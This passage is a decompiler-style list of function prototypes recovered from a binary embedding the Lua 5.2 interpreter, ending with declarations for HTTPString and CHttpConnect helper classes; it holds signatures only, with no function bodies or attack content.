luaB_setmetatable(lua_State *L); int __cdecl luaB_rawequal(lua_State *L); int __cdecl luaB_rawlen(lua_State *L); int __cdecl luaB_rawget(lua_State *L); int __cdecl luaB_rawset(lua_State *L); int __cdecl luaB_collectgarbage(lua_State *L); int __cdecl luaB_type(lua_State *L); int __cdecl luaB_next(lua_State *L); int __cdecl luaB_pairs(lua_State *L); int __cdecl ipairsaux(lua_State *L); int __cdecl luaB_ipairs(lua_State *L); int __cdecl luaB_loadfile(lua_State *L); const char *__cdecl generic_reader(lua_State *L, void *ud, unsigned int *size); int __cdecl luaB_load(lua_State *L); int __cdecl dofilecont(lua_State *L); int __cdecl luaB_dofile(lua_State *L); int __cdecl luaB_assert(lua_State *L); int __cdecl luaB_select(lua_State *L); // int __usercall finishpcall(lua_State *L, int status); int __cdecl pcallcont(lua_State *L); int __cdecl luaB_pcall(lua_State *L); int __cdecl luaB_xpcall(lua_State *L); int __cdecl luaB_tostring(lua_State *L); int __cdecl luaopen_base(lua_State *L); unsigned int __cdecl andaux(lua_State *L); int __cdecl b_and(lua_State *L); int __cdecl b_test(lua_State *L); int __cdecl b_or(lua_State *L); int __cdecl b_xor(lua_State *L); int __cdecl b_not(lua_State *L); // int __usercall b_shift(lua_State *L, unsigned int r, int i); int __cdecl b_lshift(lua_State *L); int __cdecl b_rshift(lua_State *L); int __cdecl b_arshift(lua_State *L); int __cdecl b_lrot(lua_State *L); int __cdecl b_rrot(lua_State *L); // int __usercall fieldargs(lua_State *L, int farg, int *width); int __cdecl b_extract(lua_State *L); int __cdecl b_replace(lua_State *L); int __cdecl luaopen_bit32(lua_State *L); // void __usercall fixjump(FuncState *fs, int pc, int dest); int __cdecl luaK_getlabel(FuncState *fs); // int __usercall need_value(FuncState *fs, int list); // int __usercall patchtestreg(FuncState *fs, int node, int reg); // void __usercall removevalues(FuncState *fs, int list); // void __usercall patchlistaux(FuncState *fs, int list, int vtarget, int reg, int dtarget); void __cdecl luaK_patchclose(FuncState *fs, int list, int level); void __cdecl luaK_concat(FuncState *fs, int *l1, int l2); // int __usercall luaK_code(FuncState *fs, unsigned int i); int __cdecl luaK_codeABC(FuncState *fs, OpCode o, int a, int b, int c); int __cdecl luaK_codeABx(FuncState *fs, OpCode o, int a, unsigned int bc); int __cdecl luaK_codek(FuncState *fs, int reg, int k); void __cdecl luaK_checkstack(FuncState *fs, int n); void __cdecl luaK_reserveregs(FuncState *fs, int n); // void __usercall freeexp(FuncState *fs, expdesc *e); // int __usercall addk(FuncState *fs, lua_TValue *key, lua_TValue *v); int __cdecl luaK_stringK(FuncState *fs, TString *s); int __cdecl luaK_numberK(FuncState *fs, long double r); // int __usercall nilK(FuncState *fs); void __cdecl luaK_setreturns(FuncState *fs, expdesc *e, int nresults); void __cdecl luaK_setoneret(FuncState *fs, expdesc *e); void __cdecl luaK_dischargevars(FuncState *fs, expdesc *e); // void __usercall invertjump(FuncState *fs, expdesc *e); // int __usercall constfolding(OpCode op, expdesc *e1, expdesc *e2); void __cdecl luaK_fixline(FuncState *fs, int line); void __cdecl luaK_setlist(FuncState *fs, int base, int nelems, int tostore); void __cdecl luaK_nil(FuncState *fs, int from, int n); int __cdecl luaK_jump(FuncState *fs); void __cdecl luaK_ret(FuncState *fs, int first, int nret); // int __usercall condjump(FuncState *fs, OpCode op, int A, int B, int C); void __cdecl luaK_patchtohere(FuncState *fs, int list); // void __usercall discharge2reg(FuncState *fs, expdesc *e, int reg); // void __usercall discharge2anyreg(FuncState *fs, expdesc *e); // void __usercall exp2reg(FuncState *fs, expdesc *e, int reg); void __cdecl luaK_exp2nextreg(FuncState *fs, expdesc *e); int __cdecl luaK_exp2anyreg(FuncState *fs, expdesc *e); void __cdecl luaK_exp2anyregup(FuncState *fs, expdesc *e); void __cdecl luaK_exp2val(FuncState *fs, expdesc *e); int __cdecl luaK_exp2RK(FuncState *fs, expdesc *e); void __cdecl luaK_storevar(FuncState *fs, expdesc *var, expdesc *ex); void __cdecl luaK_self(FuncState *fs, expdesc *e, expdesc *key); // int __usercall jumponcond(FuncState *fs, expdesc *e, int cond); void __cdecl luaK_goiftrue(FuncState *fs, expdesc *e); void __cdecl luaK_goiffalse(FuncState *fs, expdesc *e); // void __usercall codenot(FuncState *fs, expdesc *e); void __cdecl luaK_indexed(FuncState *fs, expdesc *t, expdesc *k); // void __usercall codearith(FuncState *fs, OpCode op, expdesc *e1, expdesc *e2, int line); // void __usercall codecomp(FuncState *fs, OpCode op, int cond, expdesc *e1, expdesc *e2); void __cdecl luaK_prefix(FuncState *fs, UnOpr op, expdesc *e, int line); void __cdecl luaK_infix(FuncState *fs, BinOpr op, expdesc *v); void __cdecl luaK_posfix(FuncState *fs, BinOpr op, expdesc *e1, expdesc *e2, int line); void __cdecl luaK_patchlist(FuncState *fs, int list, int target); // int __usercall auxresume(lua_State *L, lua_State *co, int narg); int __cdecl luaB_coresume(lua_State *L); int __cdecl luaB_auxwrap(lua_State *L); int __cdecl luaB_cocreate(lua_State *L); int __cdecl luaB_cowrap(lua_State *L); int __cdecl luaB_yield(lua_State *L); int __cdecl luaB_costatus(lua_State *L); int __cdecl luaB_corunning(lua_State *L); int __cdecl luaopen_coroutine(lua_State *L); int __cdecl db_getregistry(lua_State *L); int __cdecl db_getmetatable(lua_State *L); int __cdecl db_setmetatable(lua_State *L); int __cdecl db_getuservalue(lua_State *L); int __cdecl db_setuservalue(lua_State *L); // void __usercall treatstackoption(lua_State *L, lua_State *L1, const char *fname); int __cdecl db_getinfo(lua_State *L); int __cdecl db_getlocal(lua_State *L); int __cdecl db_setlocal(lua_State *L); int __cdecl db_getupvalue(lua_State *L); int __cdecl db_setupvalue(lua_State *L); // int __usercall checkupval(lua_State *L, int argf, int argnup); int __cdecl db_upvalueid(lua_State *L); int __cdecl db_upvaluejoin(lua_State *L); void __cdecl hookf(lua_State *L, lua_Debug *ar); // int __usercall makemask(const char *smask, int count); int __cdecl db_sethook(lua_State *L); int __cdecl db_gethook(lua_State *L); int __cdecl db_debug(lua_State *L); int __cdecl db_traceback(lua_State *L); int __cdecl luaopen_debug(lua_State *L); // int __usercall currentline(CallInfo *ci); int __cdecl lua_sethook(lua_State *L, void (__cdecl *func)(lua_State *, lua_Debug *), int mask, int count); void (__cdecl *__cdecl lua_gethook(lua_State *L))(lua_State *, lua_Debug *); int __cdecl lua_gethookmask(lua_State *L); int __cdecl lua_gethookcount(lua_State *L); int __cdecl lua_getstack(lua_State *L, int level, lua_Debug *ar); // const char *__usercall findlocal(lua_State *L, CallInfo *ci, int n, lua_TValue **pos); const char *__cdecl lua_getlocal(lua_State *L, lua_Debug *ar, int n); const char *__cdecl lua_setlocal(lua_State *L, lua_Debug *ar, int n); // void __usercall funcinfo(lua_Debug *ar, Closure *cl); // void __usercall collectvalidlines(lua_State *L, Closure *f); // void __usercall kname(Proto *p, int pc, int c, const char **name); int __cdecl findsetreg(Proto *p, int lastpc, int reg); const char *__cdecl getobjname(Proto *p, int lastpc, int reg, const char **name); // const char *__usercall getfuncname(lua_State *L, CallInfo *ci, const char **name); // const char *__usercall getupvalname(CallInfo *ci, lua_TValue *o, const char **name); // void __usercall addinfo(lua_State *L, const char *msg); void __cdecl luaG_errormsg(lua_State *L); void __cdecl luaG_runerror(lua_State *L, const char *fmt); // int __usercall auxgetinfo(lua_State *L, const char *what, lua_Debug *ar, Closure *f, CallInfo *ci); int __cdecl lua_getinfo(lua_State *L, const char *what, lua_Debug *ar); void __cdecl luaG_typeerror(lua_State *L, lua_TValue *o, const char *op); void __cdecl luaG_concaterror(lua_State *L, lua_TValue *p1, lua_TValue *p2); void __cdecl luaG_aritherror(lua_State *L, lua_TValue *p1, lua_TValue *p2); void __cdecl luaG_ordererror(lua_State *L, lua_TValue *p1, lua_TValue *p2); // void __usercall seterrorobj(lua_State *L, int errcode, lua_TValue *oldtop); void __cdecl luaD_throw(lua_State *L, int errcode); int __cdecl luaD_rawrunprotected(lua_State *L, void (__cdecl *f)(lua_State *, void *), void *ud); void __cdecl luaD_reallocstack(lua_State *L, int newsize); void __cdecl luaD_growstack(lua_State *L, int n); void __cdecl luaD_shrinkstack(lua_State *L); void __cdecl luaD_hook(lua_State *L, int event, int line); // lua_TValue *__usercall adjust_varargs(lua_State *L, Proto *p, int actual); // lua_TValue *__usercall tryfuncTM(lua_State *L, lua_TValue *func); int __cdecl luaD_poscall(lua_State *L, lua_TValue *firstResult); void __cdecl unroll(lua_State *L, void *ud); // int __usercall recover(lua_State *L, int status); // void __usercall resume_error(lua_State *L, const char *msg, lua_TValue *firstArg); int __cdecl lua_yieldk(lua_State *L, int nresults, int ctx, int (__cdecl *k)(lua_State *)); int __cdecl luaD_pcall(lua_State *L, void (__cdecl *func)(lua_State *, void *), void *u, int old_top, int ef); void __cdecl f_parser(lua_State *L, void *ud); int __cdecl luaD_protectedparser(lua_State *L, Zio *z, const char *name, const char *mode); int __cdecl luaD_precall(lua_State *L, lua_TValue *func, int nresults); void __cdecl luaD_call(lua_State *L, lua_TValue *func, int nResults, int allowyield); void __cdecl resume(lua_State *L, void *ud); int __cdecl lua_resume(lua_State *L, lua_State *from, int nargs); // void __usercall DumpString(TString *s, DumpState *D); // void __usercall DumpConstants(Proto *f, DumpState *D); // void __usercall DumpUpvalues(Proto *f, DumpState *D); // void __usercall DumpDebug(Proto *f, DumpState *D); void __cdecl DumpFunction(Proto *f, DumpState *D); int __cdecl luaU_dump(lua_State *L, Proto *f, int (__cdecl *w)(lua_State *, const void *, unsigned int, void *), void *data, int strip); Closure *__cdecl luaF_newCclosure(lua_State *L, int n); Closure *__cdecl luaF_newLclosure(lua_State *L, int n); UpVal *__cdecl luaF_newupval(lua_State *L); UpVal *__cdecl luaF_findupval(lua_State *L, lua_TValue *level); void __cdecl luaF_freeupval(lua_State *L, UpVal *uv); void __cdecl luaF_close(lua_State *L, lua_TValue *level); Proto *__cdecl luaF_newproto(lua_State *L); void __cdecl luaF_freeproto(lua_State *L, Proto *f); const char *__cdecl luaF_getlocalname(Proto *f, int local_number, int pc); void __cdecl luaC_barrierback_(lua_State *L, GCObject *o); GCObject *__cdecl luaC_newobj(lua_State *L, int tt, unsigned int sz, GCObject **list, int offset); void __cdecl reallymarkobject(global_State *g, GCObject *o); void __cdecl markmt(global_State *g); // void __usercall remarkupvals(global_State *g); // void __usercall markroot(global_State *g); // void __usercall traversestrongtable(global_State *g, Table *h); // int __usercall traverseproto(global_State *g, Proto *f); unsigned int __cdecl traverseCclosure(global_State *g, CClosure *cl); // unsigned int __usercall traverseLclosure(global_State *g, LClosure *cl); // unsigned int __usercall traversestack(global_State *g, lua_State *th); // void __usercall freeobj(lua_State *L, GCObject *o); GCObject **__cdecl sweeplist(lua_State *L, GCObject **p, unsigned int count); // void __usercall checkSizes(lua_State *L); void __cdecl dothecall(lua_State *L, void *ud); // void __usercall GCTM(lua_State *L, int propagateerrors); void __cdecl luaC_checkfinalizer(lua_State *L, GCObject *o, Table *mt); // int __usercall entersweep(lua_State *L); // void __usercall callallpendingfinalizers(lua_State *L, int propagateerrors); void __cdecl luaC_freeallobjects(lua_State *L); // int __usercall iscleared(global_State *g, lua_TValue *o); void __cdecl luaC_barrier_(lua_State *L, GCObject *o, GCObject *v); void __cdecl luaC_barrierproto_(lua_State *L, Proto *p, Closure *c); void __cdecl luaC_checkupvalcolor(global_State *g, UpVal *uv); // void __usercall traverseweakvalue(global_State *g, Table *h); // int __usercall traverseephemeron(global_State *g, Table *h); // unsigned int __usercall traversetable(global_State *g, Table *h); // void __usercall propagatemark(global_State *g); // void __usercall retraversegrays(global_State *g); // void __usercall convergeephemerons(global_State *g); void __cdecl clearkeys(global_State *g, GCObject *l, GCObject *f); // void __usercall clearvalues(global_State *g, GCObject *l, GCObject *f); // int __usercall atomic(lua_State *L); // unsigned int __usercall singlestep(lua_State *L); void __cdecl luaC_runtilstate(lua_State *L, int statesmask); // void __usercall incstep(lua_State *L); void __cdecl luaC_fullgc(lua_State *L, int isemergency); void __cdecl luaC_changemode(lua_State *L, int mode); // void __usercall generationalcollection(lua_State *L); void __cdecl luaC_forcestep(lua_State *L); void __cdecl luaC_step(lua_State *L); void __cdecl luaL_openlibs(lua_State *L); int __cdecl io_type(lua_State *L); int __cdecl f_tostring(lua_State *L); int __cdecl io_close(lua_State *L); int __cdecl f_gc(lua_State *L); int __cdecl io_fclose(lua_State *L); // void __usercall opencheck(lua_State *L, const char *fname, const char *mode); int __cdecl io_open(lua_State *L); int __cdecl io_pclose(lua_State *L); int __cdecl io_popen(lua_State *L); int __cdecl io_tmpfile(lua_State *L); // int __usercall g_iofile(lua_State *L, const char *f, const char *mode); int __cdecl io_input(lua_State *L); int __cdecl io_output(lua_State *L); // int __usercall read_number(lua_State *L, _iobuf *f); // int __usercall read_line(lua_State *L, _iobuf *f, int chop); // void __usercall read_all(lua_State *L, _iobuf *f); // int __usercall read_chars(lua_State *L, _iobuf *f, unsigned int n); // int __usercall g_read(lua_State *L, _iobuf *f, int first); int __cdecl io_read(lua_State *L); int __cdecl f_read(lua_State *L); int __cdecl io_readline(lua_State *L); // int __usercall g_write(lua_State *L, _iobuf *f, int arg); int __cdecl io_write(lua_State *L); int __cdecl f_write(lua_State *L); int __cdecl f_seek(lua_State *L); int __cdecl f_setvbuf(lua_State *L); int __cdecl io_flush(lua_State *L); int __cdecl f_flush(lua_State *L); int __cdecl io_noclose(lua_State *L); // void __usercall createstdfile(lua_State *L, _iobuf *f, const char *k, const char *fname); int __cdecl luaopen_io(lua_State *L); // void __usercall aux_lines(lua_State *L, int toclose); int __cdecl f_lines(lua_State *L); int __cdecl io_lines(lua_State *L); // void __usercall save(LexState *ls, int c); void __cdecl luaX_init(lua_State *L); const char *__cdecl luaX_token2str(LexState *ls, int token); void __cdecl lexerror(LexState *ls, const char *msg, int token); void __cdecl luaX_syntaxerror(LexState *ls, const char *msg); TString *__cdecl luaX_newstring(LexState *ls, const char *str, unsigned int l); // void __usercall inclinenumber(LexState *ls); void __cdecl luaX_setinput(lua_State *L, LexState *ls, Zio *z, TString *source, int firstchar); // int __usercall check_next(LexState *ls, const char *set); // void __usercall trydecpoint(LexState *ls, SemInfo *seminfo); // void __usercall read_numeral(LexState *ls, SemInfo *seminfo); // int __usercall skip_sep(LexState *ls); // void __usercall read_long_string(LexState *ls, SemInfo *seminfo, int sep); // void __usercall escerror(LexState *ls, int *c, int n, const char *msg); // int __usercall readhexaesc(LexState *ls); // int __usercall readdecesc(LexState *ls); // void __usercall read_string(LexState *ls, int del, SemInfo *seminfo); // int __usercall llex(LexState *ls, SemInfo *seminfo); void __cdecl luaX_next(LexState *ls); int __cdecl luaX_lookahead(LexState *ls); int __cdecl math_abs(lua_State *L); int __cdecl math_sin(lua_State *L); int __cdecl math_sinh(lua_State *L); int __cdecl math_cos(lua_State *L); int __cdecl math_cosh(lua_State *L); int __cdecl math_tan(lua_State *L); int __cdecl math_tanh(lua_State *L); int __cdecl math_asin(lua_State *L); int __cdecl math_acos(lua_State *L); int __cdecl math_atan(lua_State *L); int __cdecl math_atan2(lua_State *L); int __cdecl math_ceil(lua_State *L); int __cdecl math_floor(lua_State *L); int __cdecl math_fmod(lua_State *L); int __cdecl math_modf(lua_State *L); int __cdecl math_sqrt(lua_State *L); int __cdecl math_pow(lua_State *L); int __cdecl math_log(lua_State *L); int __cdecl math_exp(lua_State *L); int __cdecl math_deg(lua_State *L); int __cdecl math_rad(lua_State *L); int __cdecl math_frexp(lua_State *L); int __cdecl math_ldexp(lua_State *L); int __cdecl math_min(lua_State *L); int __cdecl math_max(lua_State *L); int __cdecl math_random(lua_State *L); int __cdecl math_randomseed(lua_State *L); int __cdecl luaopen_math(lua_State *L); void __cdecl luaM_toobig(lua_State *L); void *__cdecl luaM_realloc_(lua_State *L, void *block, unsigned int osize, unsigned int nsize); void *__cdecl luaM_growaux_(lua_State *L, void *block, int *size, unsigned int size_elems, int limit, const char *what); // void __usercall setprogdir(lua_State *L); // void __usercall pusherror(lua_State *L); // void __usercall ll_addtoclib(lua_State *L, const char *path, void *plib); int __cdecl gctm(lua_State *L); // int __usercall ll_loadfunc(lua_State *L, const char *path, const char *sym); int __cdecl ll_loadlib(lua_State *L); // const char *__usercall searchpath(lua_State *L, const char *name, const char *path, const char *sep, const char *dirsep); int __cdecl ll_searchpath(lua_State *L); int __cdecl searcher_Lua(lua_State *L); // int __usercall loadfunc(lua_State *L, const char *filename, const char *modname); int __cdecl searcher_C(lua_State *L); int __cdecl searcher_Croot(lua_State *L); int __cdecl searcher_preload(lua_State *L); // void __usercall findloader(lua_State *L, const char *name); int __cdecl ll_require(lua_State *L); // void __usercall setpath(lua_State *L, const char *fieldname, const char *envname1, const char *envname2, const char *def); // void __usercall createsearcherstable(lua_State *L); int __cdecl luaopen_package(lua_State *L); int __cdecl luaO_int2fb(unsigned int x); int __cdecl luaO_fb2int(int x); int __cdecl luaO_ceillog2(unsigned int x); long double __cdecl luaO_arith(int op, long double v1, long double v2); int __cdecl luaO_hexavalue(int c); // long double __usercall readhexa(const char **s, long double r, int *count); long double __cdecl lua_strx2number(const char *s, char **endptr); int __cdecl luaO_str2d(const char *s, unsigned int len, long double *result); // void __usercall pushstr(lua_State *L, const char *str, unsigned int l); const char *__cdecl luaO_pushvfstring(lua_State *L, const char *fmt, char *argp); const char *__cdecl luaO_pushfstring(lua_State *L, const char *fmt); void __cdecl luaO_chunkid(char *out, const char *source, unsigned int bufflen); int __cdecl os_execute(lua_State *L); int __cdecl os_remove(lua_State *L); int __cdecl os_rename(lua_State *L); int __cdecl os_tmpname(lua_State *L); int __cdecl os_getenv(lua_State *L); int __cdecl os_clock(lua_State *L); // const char *__usercall checkoption(lua_State *L, const char *conv, char *buff); int __cdecl os_date(lua_State *L); int __cdecl os_time(lua_State *L); int __cdecl os_difftime(lua_State *L); int __cdecl os_setlocale(lua_State *L); int __cdecl os_exit(lua_State *L); int __cdecl luaopen_os(lua_State *L); // void __usercall error_expected(LexState *ls, int token); // void __usercall errorlimit(FuncState *fs, int limit, const char *what); // int __usercall testnext(LexState *ls, int c); // void __usercall check_match(LexState *ls, int what, int who, int where); // TString *__usercall str_checkname(LexState *ls); // void __usercall codestring(LexState *ls, expdesc *e, TString *s); int __cdecl registerlocalvar(LexState *ls, TString *varname); // void __usercall new_localvar(LexState *ls, TString *name); // void __usercall adjustlocalvars(LexState *ls, int nvars); // void __usercall removevars(FuncState *fs, int tolevel); // int __usercall searchupvalue(FuncState *fs, TString *name); // int __usercall newupvalue(FuncState *fs, TString *name, expdesc *v); // int __usercall searchvar(FuncState *fs, TString *n); int __cdecl singlevaraux(FuncState *fs, TString *n, expdesc *var, int base); // void __usercall singlevar(LexState *ls, expdesc *var); // void __usercall adjust_assign(LexState *ls, int nvars, int nexps, expdesc *e); // void __usercall closegoto(LexState *ls, int g, Labeldesc *label); int __cdecl findlabel(LexState *ls, int g); // int __usercall newlabelentry(LexState *ls, Labellist *l, TString *name, int line, int pc); // void __usercall findgotos(LexState *ls, Labeldesc *lb); void __cdecl movegotosout(FuncState *fs, BlockCnt *bl); void __cdecl leaveblock(FuncState *fs); // Proto *__usercall addprototype(LexState *ls); // void __usercall open_func(LexState *ls, FuncState *fs, BlockCnt *bl); void __cdecl close_func(LexState *ls); // int __usercall block_follow(LexState *ls, int withuntil); // void __usercall fieldsel(LexState *ls, expdesc *v); // void __usercall recfield(LexState *ls, ConsControl *cc); // void __usercall lastlistfield(FuncState *fs, ConsControl *cc); // void __usercall constructor(LexState *ls, expdesc *t); // void __usercall parlist(LexState *ls); // void __usercall body(LexState *ls, expdesc *e, int ismethod, int line); // int __usercall explist(LexState *ls, expdesc *v); // void __usercall funcargs(LexState *ls, expdesc *f, int line); // void __usercall primaryexp(LexState *ls, expdesc *v); // void __usercall suffixedexp(LexState *ls, expdesc *v); // void __usercall simpleexp(LexState *ls, expdesc *v); // BinOpr __usercall getbinopr(int op); BinOpr __cdecl subexpr(LexState *ls, expdesc *v, int limit); // void __usercall block(LexState *ls); // void __usercall check_conflict(LexState *ls, LHS_assign *lh, expdesc *v); void __cdecl assignment(LexState *ls, LHS_assign *lh, int nvars); // void __usercall gotostat(LexState *ls, int pc); // void __usercall checkrepeated(FuncState *fs, Labellist *ll, TString *label); // void __usercall labelstat(LexState *ls, TString *label, int line); // void __usercall whilestat(LexState *ls, int line); // void __usercall repeatstat(LexState *ls, int line); // void __usercall forbody(LexState *ls, int base, int line, int nvars, int isnum); // void __usercall fornum(LexState *ls, TString *varname, int line); // void __usercall forlist(LexState *ls, TString *indexname); // void __usercall forstat(LexState *ls, int line); // void __usercall test_then_block(LexState *ls, int *escapelist); // void __usercall ifstat(LexState *ls, int line); // void __usercall localfunc(LexState *ls); // void __usercall localstat(LexState *ls); // int __usercall funcname(LexState *ls, expdesc *v); // void __usercall funcstat(LexState *ls, int line); // void __usercall exprstat(LexState *ls); // void __usercall retstat(LexState *ls); void __cdecl statement(LexState *ls); void __cdecl statlist(LexState *ls); // void __usercall mainfunc(LexState *ls, FuncState *fs); Closure *__cdecl luaY_parser(lua_State *L, Zio *z, Mbuffer *buff, Dyndata *dyd, const char *name, int firstchar); unsigned int __cdecl makeseed(lua_State *L); void __cdecl luaE_setdebt(global_State *g, int debt); CallInfo *__cdecl luaE_extendCI(lua_State *L); void __cdecl luaE_freeCI(lua_State *L); // void __usercall stack_init(lua_State *L1, lua_State *L); // void __usercall init_registry(lua_State *L, global_State *g); void __cdecl f_luaopen(lua_State *L, void *ud); // void __usercall close_state(lua_State *L); lua_State *__cdecl lua_newthread(lua_State *L); void __cdecl luaE_freethread(lua_State *L, lua_State *L1); lua_State *__cdecl lua_newstate(void *(__cdecl *f)(void *, void *, unsigned int, unsigned int), void *ud); void __cdecl lua_close(lua_State *L); int __cdecl luaS_eqlngstr(TString *a, TString *b); int __cdecl luaS_eqstr(TString *a, TString *b); unsigned int __cdecl luaS_hash(const char *str, unsigned int l, unsigned int seed); void __cdecl luaS_resize(lua_State *L, int newsize); // TString *__usercall createstrobj(lua_State *L, const char *str, unsigned int l, int tag, unsigned int h, GCObject **list); // TString *__usercall newshrstr(lua_State *L, const char *str, unsigned int l, unsigned int h); TString *__cdecl internshrstr(lua_State *L, const char *str, unsigned int l); TString *__cdecl luaS_newlstr(lua_State *L, const char *str, unsigned int l); TString *__cdecl luaS_new(lua_State *L, const char *str); Udata *__cdecl luaS_newudata(lua_State *L, unsigned int s, Table *e); int __cdecl str_len(lua_State *L); int __cdecl str_sub(lua_State *L); int __cdecl str_reverse(lua_State *L); int __cdecl str_lower(lua_State *L); int __cdecl str_upper(lua_State *L); int __cdecl str_rep(lua_State *L); int __cdecl str_byte(lua_State *L); int __cdecl str_char(lua_State *L); int __cdecl writer(lua_State *L, const void *b, unsigned int size, void *B); int __cdecl str_dump(lua_State *L); // const char *__usercall classend(MatchState *ms, const char *p); // int __usercall match_class(int c, int cl); // int __usercall matchbracketclass(int c, const char *p, const char *ec); // const char *__usercall matchbalance(MatchState *ms, const char *s, const char *p); // const char *__usercall max_expand(MatchState *ms, const char *s, const char *p, const char *ep); // const char *__usercall min_expand(MatchState *ms, const char *s, const char *p, const char *ep); // const char *__usercall start_capture(MatchState *ms, const char *s, const char *p, int what); // const char *__usercall end_capture(MatchState *ms, const char *s, const char *p); // const char *__usercall match_capture(MatchState *ms, const char *s, int l); const char *__cdecl match_0(MatchState *ms, const char *s, const char *p); // const char *__usercall lmemfind(const char *s1, unsigned int l1, const char *s2, unsigned int l2); // void __usercall push_onecapture(MatchState *ms, int i, const char *s, const char *e); // int __usercall push_captures(MatchState *ms, const char *s, const char *e); // int __usercall nospecials(const char *p, unsigned int l); // int __usercall str_find_aux(lua_State *L, int find); int __cdecl str_find(lua_State *L); int __cdecl str_match(lua_State *L); int __cdecl gmatch_aux(lua_State *L); int __cdecl gmatch(lua_State *L); // void __usercall add_s(MatchState *ms, luaL_Buffer *b, const char *s, const char *e); // void __usercall add_value(MatchState *ms, luaL_Buffer *b, const char *s, const char *e, int tr); int __cdecl str_gsub(lua_State *L); // void __usercall addquoted(lua_State *L, luaL_Buffer *b, int arg); // const char *__usercall scanformat(lua_State *L, const char *strfrmt, char *form); // void __usercall addlenmod(char *form, const char *lenmod); int __cdecl str_format(lua_State *L); // void __usercall createmetatable(lua_State *L); int __cdecl luaopen_string(lua_State *L); // Node *__usercall hashnum(Table *t, long double n); // Node *__usercall mainposition(Table *t, lua_TValue *key); // int __usercall findindex(lua_State *L, Table *t, lua_TValue *key); int __cdecl luaH_next(lua_State *L, Table *t, lua_TValue *key); int __cdecl computesizes(int *nums, int *narray); // int __usercall numusearray(Table *t, int *nums); int __cdecl numusehash(Table *t, int *nums, int *pnasize); // void __usercall setarrayvector(lua_State *L, Table *t, int size); // void __usercall setnodevector(lua_State *L, Table *t, int size); Table *__cdecl luaH_new(lua_State *L); void __cdecl luaH_free(lua_State *L, Table *t); lua_TValue *__cdecl luaH_getint(Table *t, int key); lua_TValue *__cdecl luaH_getstr(Table *t, TString *key); lua_TValue *__cdecl luaH_get(Table *t, lua_TValue *key); lua_TValue *__cdecl luaH_set(lua_State *L, Table *t, lua_TValue *key); // int __usercall unbound_search(Table *t, unsigned int j); int __cdecl luaH_getn(Table *t); void __cdecl luaH_resize(lua_State *L, Table *t, int nasize, int nhsize); void __cdecl luaH_resizearray(lua_State *L, Table *t, int nasize); // void __usercall rehash(lua_State *L, Table *t, lua_TValue *ek); lua_TValue *__cdecl luaH_newkey(lua_State *L, Table *t, lua_TValue *key); void __cdecl luaH_setint(lua_State *L, Table *t, int key, lua_TValue *value); int __cdecl tinsert(lua_State *L); int __cdecl tremove(lua_State *L); int __cdecl tconcat(lua_State *L); int __cdecl pack(lua_State *L); int __cdecl unpack(lua_State *L); void __cdecl auxsort(lua_State *L, int l, int u); int __cdecl sort(lua_State *L); int __cdecl luaopen_table(lua_State *L); void __cdecl luaT_init(lua_State *L); lua_TValue *__cdecl luaT_gettm(Table *events, TMS event, TString *ename); lua_TValue *__cdecl luaT_gettmbyobj(lua_State *L, lua_TValue *o, TMS event); // void __usercall error(LoadState *S, const char *why); // TString *__usercall LoadString(LoadState *S); // void __usercall LoadCode(LoadState *S, Proto *f); // void __usercall LoadConstants(LoadState *S, Proto *f); // void __usercall LoadUpvalues(LoadState *S, Proto *f); // void __usercall LoadDebug(LoadState *S, Proto *f); void __cdecl LoadFunction(LoadState *S, Proto *f); void __cdecl luaU_header(char *h); // void __usercall LoadHeader(LoadState *S); Closure *__cdecl luaU_undump(lua_State *L, Zio *Z, Mbuffer *buff, const char *name); lua_TValue *__cdecl luaV_tonumber(lua_TValue *obj, lua_TValue *n); int __cdecl luaV_tostring(lua_State *L, lua_TValue *obj); // void __usercall traceexec(lua_State *L); // void __usercall callTM(lua_State *L, lua_TValue *f, lua_TValue *p1, lua_TValue *p2, lua_TValue *p3, int hasres); void __cdecl luaV_gettable(lua_State *L, lua_TValue *t, lua_TValue *key, lua_TValue *val); void __cdecl luaV_settable(lua_State *L, lua_TValue *t, lua_TValue *key, lua_TValue *val); // int __usercall call_binTM(lua_State *L, lua_TValue *p1, lua_TValue *p2, lua_TValue *res, TMS event); // lua_TValue *__usercall get_equalTM(lua_State *L, Table *mt1, Table *mt2, TMS event); // int __usercall call_orderTM(lua_State *L, lua_TValue *p1, lua_TValue *p2, TMS event); // int __usercall l_strcmp(TString *ls, TString *rs); int __cdecl luaV_lessthan(lua_State *L, lua_TValue *l, lua_TValue *r); int __cdecl luaV_lessequal(lua_State *L, lua_TValue *l, lua_TValue *r); int __cdecl luaV_equalobj_(lua_State *L, lua_TValue *t1, lua_TValue *t2); void __cdecl luaV_concat(lua_State *L, int total); void __cdecl luaV_objlen(lua_State *L, lua_TValue *ra, lua_TValue *rb); void __cdecl luaV_arith(lua_State *L, lua_TValue *ra, lua_TValue *rb, lua_TValue *rc, TMS op); // Closure *__usercall getcached(Proto *p, UpVal **encup, lua_TValue *base); // void __usercall pushclosure(lua_State *L, Proto *p, UpVal **encup, lua_TValue *base, lua_TValue *ra); void __cdecl luaV_finishOp(lua_State *L); void __cdecl luaV_execute(lua_State *L); int __cdecl luaZ_fill(Zio *z); void __cdecl luaZ_init(lua_State *L, Zio *z, const char *(__cdecl *reader)(lua_State *, void *, unsigned int *), void *data); unsigned int __cdecl luaZ_read(Zio *z, void *b, unsigned int n); char *__cdecl luaZ_openspace(lua_State *L, Mbuffer *buff, unsigned int n); bool __thiscall HTTPString::hs_HTMMRead(HTTPString *this, char *address, int port, char *act, int world, int machine, char *nationcode); int __thiscall HTTPString::hs_Next(HTTPString *this); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this); void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::pair,std::allocator > const ,int> *this); void __thiscall std::basic_string_std::allocator>::swap(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right); HTTPString *__thiscall HTTPString::hs_Decoding(HTTPString *this, __int64 codeN, __int64 codeD); std::basic_string,std::allocator > *__thiscall HTTPString::ExpandBuffer::eb_Get(HTTPString::ExpandBuffer *this, std::basic_string,std::allocator > *part, int patternloc, int patternsize); HTTPString *__thiscall HTTPString::hs_Expand(HTTPString *this); void __thiscall CHttpConnect::CHttpConnect(CHttpConnect *this, std::basic_string,std::allocator > *buf); int __thiscall CHttpConnect::SetPortA(CHttpConnect *this, unsigned __int16 nPort); int __thiscall CHttpConnect::SetServer(CHttpConnect *this, char *sServer); int __thiscall CHttpConnect::SetFuntion(CHttpConnect *this, char *sFuntion); int __thiscall CHttpConnect::SetParameter(CHttpConnect *this, char *sParameter, char *sParameterData); char *__thiscall 